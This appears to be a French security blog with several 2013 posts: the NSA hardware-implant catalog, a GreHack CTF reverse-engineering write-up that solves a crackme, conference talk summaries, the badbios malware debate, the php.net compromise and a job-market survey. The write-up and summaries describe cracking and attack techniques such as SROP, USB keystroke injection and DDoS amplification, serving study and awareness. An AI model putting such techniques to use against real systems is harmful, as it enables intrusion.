dimanche 29 décembre 2013

NSA Catalog : petit papa Snowden

Les révélations faites par Edward Snowden continuent.
Le spiegel vient de publier un article sur le catalogue NSA. Edit 30/12/2013: Un lien avec un grand nombre de pages du catalogue /Edit. Il s'agit de tout ce que peut faire la NSA concernant les attaques sur le matériel. Et la liste est encore une fois longue. Les disques durs? Backdoorés. Les BIOS? Backdoorés. Les firewalls Juniper/Cisco? Backdoorés. Les cordons USB? Backdoorés. Le crash reporter de windows? Backdooré. Les communications mobiles? Ecoutées. Etc, etc, etc.. Inutile de reprendre l'article du spiegel, je vous laisse le lire.

Voici par exemple une image d'un cordon USB backdooré:
Cela permet la persistance de l'infection, de la communication over-the-air grâce à une antenne RF, etc...

Je serais curieux de lire le catalogue complet.

A part ça, joyeux noël :-)

Edit: De plus en plus d'articles mentionnent le fait que le crash reporter de windows envoie les données en clair. Le crash reporter de mac utilise SSL/TLS mais si vous avez accès à un cerificat SSL, ça se casse facilement aussi.

mardi 19 novembre 2013

Grehack 2013 writeup - 1337

Un des challenges de la grehack 2013 était du reverse linux.
Le binaire s'appelait 1337 (et les orgas avaient prévenus qu'ils aimaient le l33tsp34k). En attendant que l'orga mette les fichiers en libre-accès, je le pose sur un site de dl.

Writeup, première phase de découverte:
kevin@slack:~/chall/grehack$ file 1337
1337: ELF 32-bit LSB executable, Intel 80386,, statically linked, stripped
kevin@slack:~/chall/grehack$ readelf -s 1337
readelf: Error: Unable to read in 0x28 bytes of section headers
readelf: Error: Unable to read in 0x488 bytes of section headers
readelf: Error: Unable to read in 0x100 bytes of program headers

WUT? Un ELF illisible?

Bon, premier exercice, réparer le binaire:
kevin@slack:~/chall/grehack$ hexdump -C 1337 | head -2
00000000  7f 45 4c 46 01 01 01 13  37 13 37 13 37 13 37 00  |.ELF....7.7.7.7.|
00000010  02 00 03 00 01 13 37 00  90 84 04 08 34 13 37 00  |......7.....4.7.|
kevin@slack:~/chall/grehack$ hexdump -C /bin/ls | head -2
00000000  7f 45 4c 46 01 01 01 00  00 00 00 00 00 00 00 00  |.ELF............|
00000010  02 00 03 00 01 00 00 00  b4 c1 04 08 34 00 00 00  |............4...|

Il y a quand même beaucoup de 1337 dans ce binaire. On tente une approche basique: tous les 0000 sont remplacés par des 1337:
kevin@slack:~/chall/grehack$ cp 1337 wip
kevin@slack:~/chall/grehack$ sed -i 's/\x13\x37/\x00\x00/g' wip
kevin@slack:~/chall/grehack$ readelf -s wip

Symbol table '.dynsym' contains 12 entries:
   Num:    Value  Size Type    Bind   Vis      Ndx Name
     0: 00000000     0 NOTYPE  LOCAL  DEFAULT  UND
     1: 00000000     0 FUNC    GLOBAL DEFAULT  UND printf@GLIBC_2.0 (2)
     2: 00000000     0 FUNC    GLOBAL DEFAULT  UND free@GLIBC_2.0 (2)
     3: 00000000     0 FUNC    GLOBAL DEFAULT  UND fgets@GLIBC_2.0 (2)
     4: 00000000     0 FUNC    GLOBAL DEFAULT  UND malloc@GLIBC_2.0 (2)
     5: 00000000     0 FUNC    GLOBAL DEFAULT  UND puts@GLIBC_2.0 (2)
     6: 00000000     0 NOTYPE  WEAK   DEFAULT  UND __gmon_start__
     7: 00000000     0 FUNC    GLOBAL DEFAULT  UND exit@GLIBC_2.0 (2)
     8: 00000000     0 FUNC    GLOBAL DEFAULT  UND strlen@GLIBC_2.0 (2)
     9: 00000000     0 FUNC    GLOBAL DEFAULT  UND __libc_start_main@GLIBC_2.0 (2)
    10: 0804889c     4 OBJECT  GLOBAL DEFAULT   16 _IO_stdin_used
    11: 08049aa0     4 OBJECT  GLOBAL DEFAULT   26 stdin@GLIBC_2.0 (2)
kevin@slack:~/chall/grehack$

Ok, ça semble bon.

kevin@slack:~/chall/grehack$ ./wip
Ready to become 1337?
yes
fail

Ok. Il est temps de regarder un peu à quoi ressemble ce challenge, pour une approche rapide, je prends metasm. Je démarre par l'entrypoint (0x8048490) et je navigue un peu jusqu'à 0x0804857c qui semble intéressant.
Et ce qui est à l'adresse 0x080488a0 est encore plus intéressant: on découvre trois manières d'écrire FAIL, puis un message de félicitations.

Si je regarde une vue d'avion du programme, on se rend compte que l'on peut dérouler l'exécution en plusieurs phases:
Pour ne pas alourdir le post, je ne met pas l'ensemble des vérifications, mais on voit deux boucles qui semblent faire des choses, puis des séries de checks qui mènent aux trois différents FAIL. C'est sympathique, car selon le message, on peut tout de suite savoir si on a passé l'étape. Analysons la Boucle1 et sa condition en sortie:

suite au strlen, on met la taille dans esp+0x10, on met 0 dans esp+0x1c, et on itère jusqu’à ce que le second égale le premier (autrement dit, on parse la chaîne). Pendant l'itération, on prend caractère par caractère du mot de passe, et on additionne en hexa (et attention car on compte aussi le caractère de fin de chaine 0xa).

En résumé, nous avons à esp+0x14 l'adresse de la clé entrée, et en esp+0x18 la somme des valeurs hexa de chacun des caractères.

En fin de boucle, on compare si la somme vaut 0x539 (ce qui fait 1337 en décimal, il y a du l33t dans ce chall). Vérifions si on prend 11 (0xa en hexa) caractères 'y' (0x79 en hexa) et un 'u' (0x75):
'0x79'*a+'0x75'+'0x0a' = 0x539
kevin@slack:~/chall/grehack$ ./wip
Ready to become 1337?
yyyyyyyyyyu
f41l

Le message d'erreur a changé, nous avons f41l, ce qui signifie que la première étape est donc passée.

La seconde étape fait 4 comparaisons:

Comparaisons très simples d'ailleurs.
On vérifie que le second caractère (eax+1) vaut 0x31 (1)
On vérifie que le quatrième caractère (eax+3) vaut 0x33 (3)
On vérifie que le quatrième caractère (eax+3) vaut 0x33 (3)
On vérifie que le huitième caractère (eax+7) vaut 0x37 (7)
Du 1337 encore. Si je modifie ma chaine par:
y1y3yyy7yyu, il va me manquer des points pour aboutir à 0x539, je complète donc avec d'autres caractères pour que la somme fasse 0x539 pour continuer à passer la première étape, comme par exemple: y1y3yyy7yyuHDD

kevin@slack:~/chall/grehack$ ./wip
Ready to become 1337?
y1y3yyy7yyuHDD
0xPh41L


Ok, on a bien le second message d'erreur, signe que la deuxième étape est passée.

La troisième étape démarre par la boucle nommée boucle 2 sur l'image vue d'avion:
Le programme va aller du côté de esp+0x14 (la clé) et faire deux XOR successifs, 13 puis 37 (oooooh, encore 1337). La clé va donc être XORée par 0x24.

La suite du programme est une longue suite de comparaison dont voici le début:
On voit que différents caractères du mot de passe sont comparés entre eux. Si on suit la chaîne complète, on observe que les caractères: 0,2,4,5,6,8,9,a,b,c,d sont identiques, et que le caractère en e-ième position vaut v (0x76). Si cela est vrai alors le message de succès est affiché:
Le dernier caractère est comparé à 'v', mais est XORé. 'v' XORé à 0x24 vaut 0x52 autrement dit 'R'.

 Si on résume le tout, on voit que le mot de passe doit répondre à ces caractéristiques:
.1.3...7......R+padding
avec tous les caractères '.' identiques, et que la somme en hexa de l'ensemble des chiffres vaut 0x539. Si je compte:
0x539 - 0x0a (retour chariot) - 0x31 - 0x33 - 0x37 - 0x52 = 0x442
J'ai besoin au minimum de 11 caractères et que le reste soit de l'ascii inscriptible. Avec une calculette hexa, je trouve une solution avec onze 'Y' et un 'o': Y1Y3YYY7YYYYYYRo
kevin@slack:~/grehack$ ./wip
Ready to become 1337?
Y1Y3YYY7YYYYYYRo
W3LL d0|\|3, y0u'r 50 L337 |\|0W...

Ok, chall done.

Et puisque je suis devenu un l33t et que le challenge permet plusieurs solutions, je propose sans trop de difficultés avec plein d'31337ness :
kevin@slack:~/grehack$ ./wip
Ready to become 1337?
31333337333333R^k3v1n
W3LL d0|\|3, y0u'r 50 L337 |\|0W...

EDIT 20/11/2013:  A la réflexion, je me rends compte qu'il y a une autre solution. Si on supprime le retour chariot de fin de chaine, alors on obtient une solution plus simple:

kevin@slack:~/grehack$ echo -n d1d3ddd7ddddddR | ./wip 
Ready to become 1337?
W3LL d0|\|3, y0u'r 50 L337 |\|0W...


PS: Je teste aussi un nouveau layout du blog, dites moi ce que vous en pensez, ça me paraît plus clair lorsque je copie colle du terminal et que je met des images. Si vous connaissez une CSS qui affiche correctement de l'hexa, je suis preneur aussi.

lundi 18 novembre 2013

Gre(at)Hack 2013

De retour de la Grehack 2013. En très bref: bonnes confs, bons repas, bon CTF, bonnes rencontres.

En peu plus long:

1/ La journée de conférence:
De manière générale très intéressantes. Juste une petite déception en fin de journée pour les rump car personne ne s'est proposé pour en faire.

Résumé des conférences, et des points qui m'ont marqués:
1/1/ Tain't not enough time to fuzz all the memory errors - Herbert Bos
Après un loooong rappel sur ce qu'est une corruption mémoire, l'orateur présente leur outil de fuzzing intelligent: Dowser. En toute fin de présentation, l'orateur présente un nouveau mode d'exploitation des binaires: le SROP, ou Signal Return Oriented Programming. Leur idée consiste à créer un faux Signal Frame sur la stack et de l'utiliser. Cette méthode semble très intéressante (adresses noyaux fixes, Turing complete ;) ), mais il n'a pas eu le temps de vraiment en parler.

1/2/ Specialization in the malware distribution ecosystem - Juan Caballero
L'orateur a travaillé sur les motivations du cybercrime, l'argent, ses mouvements et leur provenance. Les cybercriminels montent des business comme toute entreprise, en utilisant des plateformes cloud, des services clés en main, des taux de retour, des versions démos, etc.. On trouve du Pay-per-Install ou un tiers se charge d'installer un malware sur des machines, des Exploit-as-a-service ou un pirate vend clés en main un serveur d'infections, etc.. Le chercheur a monté des architectures d'analyse de ces infections pour en tirer des signatures de malware. Il finit avec un certain nombre de statistiques intéressantes. (Et au passage, j'ai rarement vu un orateur avec un débit de parole aussi rapide.)

1/3/ The many flavors of binary analysis - Halvar Flake
Halvar présente un certain nombre d'outils d'analyse de binaires avec leurs forces et leurs faiblesses. J'en retiens que l'analyse des patchs binaires des SP windows donne des 0-day car des correctifs ne sont pas toujours backportés: "SP Win8 => 0day win7". En reverse, il manque des outils pour bien modéliser les failles de Use After Free, de certaines boucles, et des flux de données des navigateurs modernes (JS, events, Jit, etc..). En résumé: "Reverse engineering is awesome!"

1/4/ Unraveling large scale geographical distribution of vulnerable DNS servers using asynchronous I/O mechanism - Ruo Ando, Yuuki Takano and Satoshi Uda
Les serveurs DNS sont une des chevilles de l'internet. Les chercheurs se sont posés deux questions: Existe t'il des serveurs DNS non mis à jour (vulnérables à au moins une attaque), et est-ce que les "bad guys" peuvent les trouver. La réponse à ces deux questions est malheureusement oui. Ils ont écrit un scanner asynchrone qui a crawler IPv4 en moins d'une trentaine d'heure, ce qui leur a permis de vérifier que des millions de DNS ne sont pas à jour, et que la méthode est suffisemment simple pour être utilisée par n'importe quel bad guy. Message personnel : patchez.

1/5/ Vulnerability Inheritance in Programmable Logic Controllers - Eireann Leverett and Reid Wightman
Aujourd'hui tout le monde a pris conscience des enjeux SCADA et de leurs vulnérabilités. Ces chercheurs se sont intéressés aux PLC Programmable Logic Controller qui sont des microcontrolleurs gérant des I/O. Ils ont un microkernel, tournent en root, possèdent un serveur web et utilisent des protos SCADA classiques (ModBus, etc..). Ils ont trouvé une faille dans un PLC, scannés IPv4 (ça devient la mode, avec masscan, unicorn, la conf précédente, etc...) et trouvés 600 PLC vulnérables. Il faut signaler un Award phénoménal à la pire vendor response lorsqu'ils ont remonté le bug, qui est un contournement de l'authent. Le vendeur dit que l'authent est censée fonctionner, qu'ils ne feront rien, et qu'il faut mettre des firewalls ou des VPNs devant le PLC.

1/6/ Amplification DDoS attacks with game servers - Alejandro Nolla
J'ai l'impression d'avoir déjà entendu ce talk toutefois très intéressant. Pour ceux qui ne connaissent pas le sujet, il faut savoir que les serveurs de jeux sont une cible de choix pour un DDoS: ils répondent beaucoup de données à une petite requête UDP. Un pirate peut espérer faire un x30 en débit en utilisant des serveurs de jeux. Ca marche, et les éditeurs semblent ne pas s'intéresser au problème donc on risque de voir ce genre de DDos encore longtemps.

1/7/ APT1 - Paul Rascagnères
Un remplacement au dernier moment d'une conférence. RootBSD nous présente son article APT1. Excellente présentation avec une vidéo de l'installation du réveil (sirène + gyrophare) pour le prévenir lors de la connexion des C&C à 1h du matin :)

1/8/ Pre-filtering Mobile Malware with Heuristic Techniques - Ludovic Apvrille and Axelle Apvrille
Cette conférence présente une architecture d'analyse automatique d'applis Androïd afin d'en détecter les malicieuses. Le but est d'obtenir aucun faux positif. Lorsqu'une appli malicieuse est détectée comme telle, l'analyse est terminée, et cela se fait assez vite. Le problème concerne les applis saines: à partir de quel niveau d'analyse est il possible de considérer que l'application n'est pas malveillante? http://perso.telecom-paristech.fr/~apvrille/alligator.html aide à la décision.

1/9/ Detecting Privacy Leaks in the RATP App: how we proceeded and what we found - Jagdish Achara, James-Douglas Lefruit, Vincent Roca and Claude Castelluccia
Pas grand chose à dire. L'appli RATP embarque une bibliothèque publicitaire qui leake beaucoup de données persos. On peut aussi décerner un award pour une lame response de la compagnie de pub qui confirme récupérer toute ces infos persos, mais qu'ils ne les exploitent absolument pas. (arf).

1/10/ I know your MAC Address: Targeted tracking of individual using Wi-Fi - Mathieu Cunche
Ce talk présente les fuites d'informations des smartphones. En effet, l'antenne wifi émet son @Mac en permanence et essaye de se connecter à des réseaux. Il devient possible de suivre des personnes, voire de les identifier.

1/11/ Statically Detecting Use After Free on Binary Code - Laurent Mounier, Marie-Laure Potet and Josselin Feist
Le matin même Halvar Flake indiquait la difficulté de détecter ce genre de failles. Cette équipe développe deux méthodes pour les détecter. Tout d'abord une analyse statique des motifs menant aux UaF, puis une étude d'exploitabilité est faite. (En anglais: exploitability, avoir le nom de son blog cité dans une conf, c'est vraiment la classe ;) ). La première partie ne s'intéresse qu'aux fonctions manipulant le heap, et cela a permis de retrouver certains CVE. Mais il disent qu'il leur reste du travail sur l'amélioration du heap model pour vérifier l'exploitabilité des UaF.

1/12/ Attacks using malicious devices : a way to protect yourself against physical access - Guillaume Jeanne and François Desplanques
Une excellente démo des capacités offensives des Teensy, ces microcontrolleurs qui peuvent prendre l'identité de n'importe quel périphérique USB. Après un petit raté à la première démo (effet oblige), on a pu voir comment ajouter un utilisateur via le teensy en mode clavier. Et on vu une seconde démo ou le teensy boosté par une flash lance un mode de communication entre l'OS et le teensy pour charger un payload selon l'OS sur lequel la clé est branché, en contournant l'antivirus. Joli.

2/ La nuit du CTF
Après un repas très geek (pizza/bière/coca), direction le CTF.
De bons challenges (un concert un peu moins bon), dans la droite veine de ceux de 2012. On a eu  du reverse, de la stégano, du misc, du réseau, du web et même un challenge "over 9000 points" (le devoir de math des étudiants :) )...

Mon équipe (5 personnes) a résolu 6 challenges, j'en ai fait deux. J'ai pu finir un challenge en premier donnant ainsi un bonus d'extra points substantiels.
On a fini 14e je crois, ce qui nous classe dans la première moitié du tableau, ce qui n'est pas si mal étant donné qu'il s'agit du premier exercice du genre que l'on fait. J'espérais un peu mieux, mais bah: on avait quitté lyon à 5h du matin, 24h plus tard après une journée dense, les réflexes ne sont plus aussi bon, en étant un peu plus frais je pense qu'on pouvait peut-être tomber un peu plus d'épreuves.

GreHack, l'année prochaine, si possible, j'y retourne \o/

lundi 11 novembre 2013

RIP.

J'apprends via twitter et par mail que Cedric "Sid" Blancher vient de nous quitter, victime d'un accident de parachute.

C'est un grand nom de la sécurité informatique qui nous quitte Je n'ai jamais eu la chance de croiser IRL, j'ai souvent échangé par mail et il était toujours disponible et de bons conseils.

RIP.

mercredi 6 novembre 2013

Alors, badbios, übermalware ou fake?


Après une petite semaine à entendre parler de badbios un peu partout, je pense qu'un point d'étape est nécessaire. Il est rare qu'un virus (ou supposé tel) fasse autant le buzz, même des journaux grands publics évoquent le sujet . Il est d'ailleurs intéressant de remarquer qu'une information a écrasé toutes les autres: la fameuse communication over-the-air de ce malware.
Mais ce virus semblait plein d'autres promesses. Listons les:

  • Infection des BIOS des machines:
    Rootwyrm a livré une analyse intéressante titrée "badbios analysis is wrong". Je crois qu'elle a été très mal comprise par la majorité des gens qui la cite comme preuve d'inexistence de badbios. Il est seulement fait mention qu'écrire un virus de BIOS qui touche toutes les cartes mères est très difficile, qu'un checksum protège les BIOS et que des fonctionnalités de badbios sont inatteignables depuis le BIOS. badbios peut résider ailleurs que dans le BIOS, un checksum se contourne et la difficulté d'écrire un BIOS n'est pas un problème pour un attaquant motivé. Il est à noter que rootwyrm a écrit un second article "the-pc-bios-is-insecure-as-hell" "Really, the problem is that the hardware and the OS have jointly weakened security around the BIOS to the point where this is even possible. We’ve gone from keeping a highly sensitive component which by necessity and capability has few security features, and turned it into a gaping vulnerability which is only protected by ‘there is no free space’ and ‘there’s over 60,000 different targets.’ If you solve for the latter by narrowing targets – say ‘only IBM System x 3650M3′ or ‘only MacBook Air 2012′? Then you introduce the potential for working around the former."
    Dragos Ruiu a fourni des samples de ces BIOS. Ils ont été analysés et rien d'étrange n'en est sorti.
  • Infection des clés USB:
    Ce sujet n'a pas vraiment été repris, ni étudié. Le site flashboot.ru a été cité plusieurs fois comme indiquant comment reflasher le firmware des clés USB. Cette piste semble prometteuse, il n'y a que très peu de contrôleurs différents et une attaque semble possible. Dragos indique avoir des clés à donner pour analyse lors de sa prochaine conférence. A suivre, donc.
  • Autre vecteur d'infection:
    Inconnu, seul un tweet de Dragos en parle: "only 2 unusual infection vectors IDed, USB and one other, waiting on patches before discussion" 
  • Infection du lecteur CD:
    Pas grand chose de neuf. Dragos en a parlé un moment.
  • Hyperviseur malicieux:
    Aucune nouvelle si ce n'est un tweet de Dragos.
  • Fontes suspicieuses sous windows:
    Dragos a fourni un sample (kit.tgz). Ce sample a été analysé, et une fois de plus tout semble normal:  + le deuxième commentaire de ce post G+  "the font files you published all look well formed to me." (Tavis Ormandy)
  • Communication Over-the-air:
    Le sujet qui passionne les foules. Pour y répondre clairement, oui, c'est faisable. Deux sites donnent des méthodes: http://fileperms.org/badbios-high-frequency-malware-communication-test/ et http://holmes.meklu.org/static/highfreq/ . Je reproduis parfaitement avec deux portables les spectrogrammes de holmes.meklu.org. Et 20KHz, c'est parfaitement inaudible à l'oreille. Je ne donne pas d'autres liens, mais dès qu'on cherche un peu google on trouve pleins d'expérimentations et PoC dans ce domaine. Donc oui, imaginer qu'un malware communique par voie des aires en ultrasons, c'est possible.
  • Communication avec un SDR en réutilisant la carte son:
    Un autre sujet qui fait rêver: on emploie les composants d'une carte son afin de les utiliser pour créer une antenne (émission et réception). C'est malheureusement impossible. Donc la voie ultrason est à conserver.
  • Dumps de procmon:
    Tavis a analysé ces logs procmon (voir le post G+), et rien d'anormal n'en ressort: "I can see you were working on some documents, browsing facebook, installing some sysinternals tools and so on - nothing suspicious."
  • Dump des disques:
    Dragos a soupçonné ses disques de vouloir lui masquer des données. Il indique qu'utiliser dd ne renvoie pas les mêmes informations selon l'offset de départ et la taille de blocs demandée. Il a posté une centaine de Mo de dumps qui ont été analysés par plusieurs personnes: rien de probant en résultat; quelques petites anomalies, mais "(...)so the drive is probably failing.". Et Dragos a annoncé sur twitter que les dump sont aujourd'hui parfaits, sans erreur (il soupçonne le malware de s'être effacé). [Pour ceux que ça intéresse, faire des "strings" sur ces dump renvoie différents codes. >:) ]

badbios secoue relativement fort la communauté infosec mais jusqu'à maintenant rien n'en sort de probant; Tavis a eu un commentaire assez direct au sujet de Dragos Ruiu: "My guess is it's just a combination of stress and healthy paranoia causing you to connect unrelated events". Toutes ces analyses mises bout à bout semblent donc indiquer que cet über malware n'existerait pas. Ceux qui pensent que c'est impossible seront confortés dans leur opinion, ceux qui imaginent que nous sommes en face du malware le plus évolué du monde vont continuer à trouver des preuves de son existence (les dumps sont comme par hasard corrompus alors qu'on sait que le malware modifie les firmwares de disque, le malware s'est auto effacé pour empêcher toute analyse, etc..).
Pour ceux qui s'en souviennent, anonymous avait piraté HBGary en 2011. Un des documents leaké présentait un rootkit qui a des similitudes troublantes avec le descriptif de badbios, notamment la communication par ultrason.

Le problème de cette histoire, c'est qu'elle est suffisamment crédible pour qu'on y accorde de l'attention. Elle est aussi tellement énorme que le premier réflexe est de la nier complètement. Que l'histoire soit vraie ou fausse, je crois qu'on va voir du dév de réseau basé sur les ultrasons de manière moins confidentielle :) et les attaques matérielles et forensics vont sans doute faire un pas en avant

mardi 29 octobre 2013

badbios, php.net et la grehack


1/ Badbios
Au mois d'Août, je bloguais sur la "dernière frontière" en sécurité, c'est à dire le matériel: le soft, on sait que ce n'est jamais fiable très longtemps, mais le hardware était censé faire ce qu'il devait faire. Au vu des dernières infos, il semble que cette frontière est simplement atomisée. On entend beaucoup parler de badbios, ou #badbios sur twitter. Si son existence est avérée, alors il s'agit d'une menace extrêmement pernicieuse et résiliente.

Je livre un résumé brut de tout ce que j'ai pu lire sachant que les premières mentions de badbios datent du 11 octobre, qui proviennent d'un site néérlandais. L'outil ayant détecté badbios s'appelle copernicus, outil dédié à l'analyse de BIOS.

Ensuite, dragosr, chercheur en sécurité a fait une série de révélations:
  • L'infection se fait via des clés USB (eh oui)
  • Un PC infecté va à son tour infecter toutes les clés branchées dessus, qui à leur tour etc..
Jusque là, on reste dans le classique. Mais là ou ça devient intéressant, c'est que l'on a pu lire aussi:
  • Une clé USB va infecter un PC quel que soit l'OS (BSD, windows, Mac).
  • Côté clé, l'infection ne touche pas les fichiers sur la clé, mais directement le firmware de la flash (!) ce qui explique le côté OS indépendant de la propagation du malware
  • Côté PC, c'est le bios qui est reflashé, ce qui permet de résister aux réinstallations d'OS, mais qui résiste aussi au reflashage du bios (!!) Ce qui force d'ailleurs le chercheur à utiliser un PC neuf à chaque test...
  • Les firmwares des lecteurs CD sont également impactés (?) Et les fichiers gravés sur CD sont modifiés sans qu'un motif apparent s'en dégage; il devient impossible de booter un live CD d'un système autre que celui installé sur le disque dur (?). Apparemment  les firmwares des cartes sons sont aussi impactés.
  • Un windows8 infecté a vu apparaître plusieurs fontes supplémentaires, et certaines fontes ont grossies en taille tout en gardant une signature correcte (?!)
  • Le malware embarque un hyperviseur (!) et un Software Defined Radio (voir point suivant)
  • Le malware embarque un SDR, c'est à dire qu'il communique sans réseau (ni câblé, ni wifi). J'ai pu lire deux méthodes: la première en utilisant malgré tout la carte wifi, mais de manière invisible pour l'OS, la seconde en émettant simplement via la carte son des fréquences inaudibles [1]
  • Le malware interdit l'accès à deux sites web russes (?!) qui parlent de la manière dont on peut flasher des firmwares de clés USB
  • Le chercheur a constaté des envois de paquets DHCP contenant des options "étranges"
  • Et on ne sait aujourd'hui toujours pas quel est le but de ce malware.

links:
https://www.security.nl/posting/366329/Onderzoeker+ontdekt+mysterieuze+BIOS-malware
https://www.wilderssecurity.com/showthread.php?t=354463
http://www.kernelmode.info/forum/viewtopic.php?f=16&t=2998&p=21195&hilit=BIOS+malware#p21195
https://kabelmast.wordpress.com/2013/10/23/badbios-and-lotsa-paranoia-plus-fireworks/
https://plus.google.com/app/basic/103470457057356043365/posts?cbp=imlk7sx0o27y&sview=1&spath=/app/basic/stream/z13tzhpzvpqyuzv1n23cz52wykrrvjjce
Et bien évidemment le twitter de dragosr https://twitter.com/dragosr

Petit update, sur la faisabilité de transformer une carte son en SDR:
http://www.scoop.it/t/low-cost-software-defined-radio-sdr-panorama/p/1004093133/saqrx-vlf-receiver-by-sm6lkm-just-a-sound-card-and-that-s-it (résumé: c'est possible)
Update 01/11/2013 : Toujours au sujet des transmissions, lire http://blog.erratasec.com/2013/10/badbios-features-explained.html#.UnN58IWA8SQ


Conclusion: un malware hyper résilient, très furtif et caché dans le matériel ça peut faire très mal. L'OS ne peut rien faire (car il est bypassé par la VMM) et il est illusoire de débrancher un PC du réseau car le malware communiquera tout de même.
Cela fait beaucoup de choses. C'est tellement gros qu'on lit sur twitter un certain septiscisme à ce sujet. Un sample d'un BIOS infecté à été envoyé à malware.lu (j'ai eu la confirmation), mais il n'est pas encore disponible pour analyse.

2/ php.net
Dans un registre plus léger, php.net s'est fait corrompre. Une lib js qui embarquait un exploit pack. Que des sites se fassent pirater, on a l'habitude. Mais comment expliquer que php.net se fasse trouer?

La première explication, c'est qu'un scan auto ait détecté la faille, installé le pack et continué son chemin. Et là, on peut se trouver etonnant que php.net se fasse trouer par un bot. La seconde explication c'est qu'un pirate ait pris le temps de percer php.net. Mais dans ce cas pourquoi mettre un exploit pack détecté par stopbadware? Il est évident que ce site est régulièrement scanné et qu'il allait être vite flaggé malveillant, laissant une fenêtre d'infection très réduite. On peut toujours arguer qu'il s'agit d'un site très visité, permettant d'infecter énormément de machines même si la durée est courte.
C'est peut-être une étude à faire: Vaut il mieux infecter des sites à trafic moyen et laisser l'infection présente longtemps, ou des sites à très fort trafic avec une durée d'infection réduite?

3/ GreHack
Et enfin, je serais à la GreHack pour les confs et pour le CTF. Ce sera mon premier CTF, let's pwn!

---
[1] Si c'est possible, je veux bien que ça soit open sourcé, ça permettrait de faire du réseau vraiment à pas cher :)

mercredi 9 octobre 2013

1000 offres d'emploi dans la sécurité informatique

Les assises de la sécurité viennent d'avoir lieu et je lisais à ce sujet des commentaires sur l'ANSSI qui recrute à son habitude. Cela a fait écho pour moi à un article du figaro sur le recrutement des hackers. On y lit que le recrutement est difficile, que les hackers s'arrachent, et que les demande des recruteurs ne sont pas satisfaites par les personnes en recherche d'emploi.

1/ Quel est aujourd'hui le marché de l'emploi dans la sécurité informatique?
Le meilleur moyen d'y répondre consiste à lire les offres d'emploi visibles. J'ai utilisé un site agrégateur d'offres d'emplois: indeed. J'ai donc téléchargé les 1000 dernières offres d'emploi sur la France entière labellisée "sécurité informatique", termes les plus larges possibles pour remonter le maximum d'offres d'emplois triées par date. Il s'agit donc du marché visible de l'emploi, agrégé depuis plusieurs sources différentes.
Je n'ai pas lu dans le détail les 1000 offres d'emplois. Les résultats dont je parle dans cet article proviennent de recherche en texte brut à l'aide de script basés sur grep et wc. Ces résultats sont donc approximatifs, mais permettent de ressortir des points intéressants.


2/ Résultats bruts
La recherche "sécurité informatique" remonte beaucoup d'annonces liées à la sécurité (pharmaceutique, médicale, BTP, etc..) qui demandent également des connaissances informatiques (Excel, etc..). Sur deux échantillons de 50 offres, j'ai 5 et 6 offres qui n'ont manifestement rien à voir. Cela donne une marge d'erreur de 10% sur les offres d'emplois.

2/1/ Durée de l'échantillon
L'offre la plus ancienne datait de 30 jours. La récupération s'est faite fin septembre, donc le panel est une représentation des offres du mois de septembre 2013.

2/2/ Géographie des offres
Plus de 90% des offres donnent le département d'emploi. Voici une infographie:
En abscisse le numéro de département, en ordonnée le nombre d'offres.
Si on additionne les départements 75, 91, 92, 93, 94, 95 on arrive à la somme écrasante de 372 offres, soit plus du tiers total des offres (!!). Le second département en nombre d'offres, Rhône est à 73 offres, 5x moins que la région parisienne, et 3x moins que Paris (208 offres).

2/3/ Salaires
Les salaires sont très peu indiqués dans les annonces. Il n'y a pas non plus d'accesseurs simples pour accéder à leur valeur. Le mot "euros" apparaît dans seulement 80 offres, le caractère € dans moins de 50 (et dans plusieurs d'elles, € sert à indiquer le CA de l'entreprise).

Ce qu'il en ressort malgré tout, c'est une petite fourchette entre 20-30kE pour des postes de techniciens. Ensuite, une fourchette 30-40kE pour des profils plus ingénieurs, et deux offres à plus de 50kE (50kE et 70kE).

2/4/ Quelques mots-clés
J'ai écrit une fonction qui me donne le nombre d'annonces contenant une ou plusieurs fois un mot-clé. Voici, sur 1000 offres quelques résultats.
Sur le niveau demandé (stag permet d'avoir stage et stagiaire):
mot-cléoccurence
stag97
technicien229
ingénieur411
expert369
rssi24
consultant109

Sur les compétences (pour le reverse, il faut grepper avec engineering, sinon cela remonte toutes les annonces contenant reverse-proxy):
mot-cléoccurence
crypto31
crack0
hack3
engineering11
malware2
offensif0
offensiv0
pentest6
redteam0
scada2
fuzz2
forensic3
cybersécurité7
cybersecurity0

Si on sort seulement 3 annonces du lot des 1000 (!), alors ce tableau devient pratiquement vide.

2/5/ Les entreprises
Il n'y a pas de moyen simple d'accéder aux entreprises qui recrutent. Néanmoins, on retrouve quelques tendances:
Cassidian: les 3 offres dont je parlais ci-dessus, Thales, EADS, anssi et sogeti pour 63 offres. 42 offres labellisées SSII. C'est plutôt varié dans l'ensemble.

2/6/ Quelques offres "choisies"
Une offre intitulée 'expert sécurité' qui cherche quelqu'un pour installer des antivirus sur des postes windows (ça c'est de l'expertise, coco).
Beaucoup de stages dont un qui demande au stagiaire de refondre l'archi sécurité et SI du groupe (rien que ça...).
Une mission de mise en place de firewalls, "brassage et câblage compris"

3/ En conclusion, peu d'offres intéressantes
La conclusion de ce passage en revue des 1000 offres est plutôt déprimante. Je n'ai pas vu beaucoup d'offres de sécurité informatique qui font rêver. On en supprime seulement 3 sur 1000 et il reste une quinzaine d'offres avec des mots-clés potentiellement intéressants.

Pour le reste, on a une première majorité d'offres est une recherche pour des développeurs, ayant vaguement une compétence sécurité. Une autre grosse majorité d'offres concerne des admins systèmes se voyant ajouter des missions "sécurité" (reverse proxy, VPN, firewall)[1]... Enfin, une troisième majorité qui se contente de demander des certifications (ISO27k, PCI etc..) pour effectuer de la compliance genre PCA/PRA, AMOA, AMOE, etc... (et dans l'écrasante majorité de ces cas, ce sont des SSII). De plus, en dehors de Paris, aucun espoir de travailler dans un domaine innovant. Si je sors Paris +  9[12345] des annonces, alors le tableau de compétences cité plus haut est vide et il ne reste que des offres de SSII et d'administration système.

Il y a peut-être deux explications. La première vient du fait que je me suis intéressé qu'au marché visible de l'emploi. Je connais des offres qui n'apparaissent pas dans ce panel alors qu'elles existent. La seconde est que les SSII n'hésitent pas à innonder les job-boards, écrasant sans doute en nombre d'autres offres. Et pour le parisiano-centrisme, je sais qu'il existe des pépites innovantes (Tetrane, Netasq (kikoo mes nouveaux amis ;) ), Vupen, quelques sociétés et grands groupes à Sophia, etc..) mais au vu de leur nombre réduit leurs offres sont bien évidemment rares

Je terminerai en donnant le titre d'un article: cybersecurity should be seen as an occupation not a profession.

---
